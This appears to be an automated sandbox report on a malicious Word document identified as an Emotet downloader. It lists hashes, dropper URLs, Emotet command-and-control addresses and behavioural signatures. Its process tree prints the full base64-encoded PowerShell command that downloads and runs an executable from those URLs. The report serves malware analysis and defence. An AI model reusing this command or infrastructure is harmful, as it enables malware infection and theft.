Analysis
-
max time kernel
148s -
max time network
152s -
platform
windows7_x64 -
resource
win7v200722 -
submitted
01-08-2020 00:30
General
-
Target
SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.29704.23856.doc
-
Size
175KB
-
MD5
caf21362d9227ac58c368f0db495a562
-
SHA1
b15449eac71ee609b781f595cf2140a35583192d
-
SHA256
f7b95f13831f1c051ec6f8f9759ac2973f3648654d5169d960c86ea15def3497
-
SHA512
bd990dc8d525b53fac44164a679461e0a7138115a6b27c8d8b90b96ebc287afcf56454ef92fa097c761ea9efa1332854cd13ed54b17ac1019041bc8e745684d4
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://nwcsvcs.com/cgi-bin/uz6_qs8_qr/
exe.dropper
http://odessaresources.com/cgi-bin/3_o_but9/
exe.dropper
https://onefarmdesign.com/cgi-bin/u_fig_m2mv/
exe.dropper
http://onewithyoucd.com/_mm/oix_ktcpc_dljhsex/
exe.dropper
http://www.piemonteitinera.net/n_g2o4_jumkt4/
Extracted
Family
emotet
C2
142.105.151.124:443
62.108.54.22:8080
212.51.142.238:8080
71.208.216.10:80
108.48.41.69:80
83.110.223.58:443
210.165.156.91:80
104.131.44.150:8080
104.236.246.93:8080
5.39.91.110:7080
209.141.54.221:8080
209.182.216.177:443
153.126.210.205:7080
91.211.88.52:7080
180.92.239.110:8080
183.101.175.193:80
162.241.92.219:8080
87.106.139.101:8080
114.146.222.200:80
65.111.120.223:80
rsa_pubkey.plain
Signatures
-
Blacklisted process makes network request 1 IoCs
-
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
-
Office loads VBA resources, possible macro or embedded object present
-
Drops file in System32 directory 2 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious use of SetWindowsHookEx 4 IoCs
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious use of WriteProcessMemory 4 IoCs
-
Modifies registry class 280 IoCs
-
Emotet
Emotet is a trojan that is primarily spread through spam emails.
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
-
Executes dropped EXE 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.VBA.Heur.LEmoDldr.1.Gen.29704.23856.doc"1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Modifies registry class
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATwBJAEcARwBJAGIAdABwACAAPQAgACcAOAA0ADkAJwA7ACQAQQBZAEsAUABVAGkAbABxAD0AJwBZAEgARgBOAEsAYwBjAG8AJwA7ACQAVwBGAEIATgBTAHMAdgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAEkARwBHAEkAYgB0AHAAKwAnAC4AZQB4AGUAJwA7ACQAUwBIAEUAWQBRAHAAdgB1AD0AJwBDAFgARQBKAFcAZQBkAHAAJwA7ACQARgBHAFYATQBUAGgAaQBiAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAEUATgBUADsAJABOAFEAQwBLAE0AdwBhAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgB3AGMAcwB2AGMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAegA2AF8AcQBzADgAXwBxAHIALwAqAGgAdAB0AHAAOgAvAC8AbwBkAGUAcwBzAGEAcgBlAHMAbwB1AHIAYwBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAzAF8AbwBfAGIAdQB0ADkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBmAGEAcgBtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdQBfAGYAaQBnAF8AbQAyAG0AdgAvACoAaAB0AHQAcAA6AC8ALwBvAG4AZQB3AGkAdABoAHkAbwB1AGMAZAAuAGMAbwBtAC8AXwBtAG0ALwBvAGkAeABfAGsAdABjAHAAYwBfAGQAbABqAGgAcwBlAHgALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGkAZQBtAG8AbgB0AGUAaQB0AGkAbgBlAHIAYQAuAG4AZQB0AC8AbgBfAGcAMgBvADQAXwBqAHUAbQBrAHQANAAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUABOAFcAVgBMAGcAaABjAD0AJwBUAEsAVgBLAEgAbwBkAHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAUABIAEgAWgBpAGMAcgAgAGkAbgAgACQATgBRAEMASwBNAHcAYQB5ACkAewB0AHIAeQB7ACQARgBHAFYATQBUAGgAaQBiAC4AIgBkAE8AdwBOAGwATwBBAGQAZgBgAEkAYABsAEUAIgAoACQARgBQAEgASABaAGkAYwByACwAIAAkAFcARgBCAE4AUwBzAHYAcwApADsAJABMAEIASABVAFQAegBhAGoAPQAnAEQATwBMAEIASgB2AHUAbgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAFcARgBCAE4AUwBzAHYAcwApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIAMAA3ADcAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAFQAZQAiACgAJABXAEYAQgBOAFMAcwB2AHMAKQA7ACQAWABWAFgAUgBPAHUAYwBrAD0AJwBTAFAAUQBHAEQAcQByAG4AJwA7AGIAcgBlAGEAawA7ACQAVQBVAFgAVQBDAG4AZABuAD0AJwBTAEEAQQBQAFUAbgBmAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBLAFQAWgBRAG8AcABxAD0AJwBOAEkASABLAFMAaQB1AHMAJwA=1⤵
- Blacklisted process makes network request
- Drops file in System32 directory
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
-
C:\Users\Admin\849.exeC:\Users\Admin\849.exe1⤵
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
-
C:\Windows\SysWOW64\actxprxy\aclui.exe"C:\Windows\SysWOW64\actxprxy\aclui.exe"2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\849.exe
-
C:\Users\Admin\849.exe
-
C:\Windows\SysWOW64\actxprxy\aclui.exe
-
memory/520-9-0x0000000000320000-0x000000000032C000-memory.dmpFilesize
48KB
-
memory/1332-2-0x0000000008950000-0x0000000008954000-memory.dmpFilesize
16KB
-
memory/1332-3-0x0000000006C50000-0x0000000006E50000-memory.dmpFilesize
2.0MB
-
memory/1332-4-0x0000000006C50000-0x0000000006E50000-memory.dmpFilesize
2.0MB
-
memory/1332-5-0x000000000AD70000-0x000000000AD74000-memory.dmpFilesize
16KB
-
memory/1332-6-0x000000000BDF0000-0x000000000BDF4000-memory.dmpFilesize
16KB
-
memory/1668-11-0x0000000000000000-mapping.dmp
-
memory/1668-13-0x0000000000290000-0x000000000029C000-memory.dmpFilesize
48KB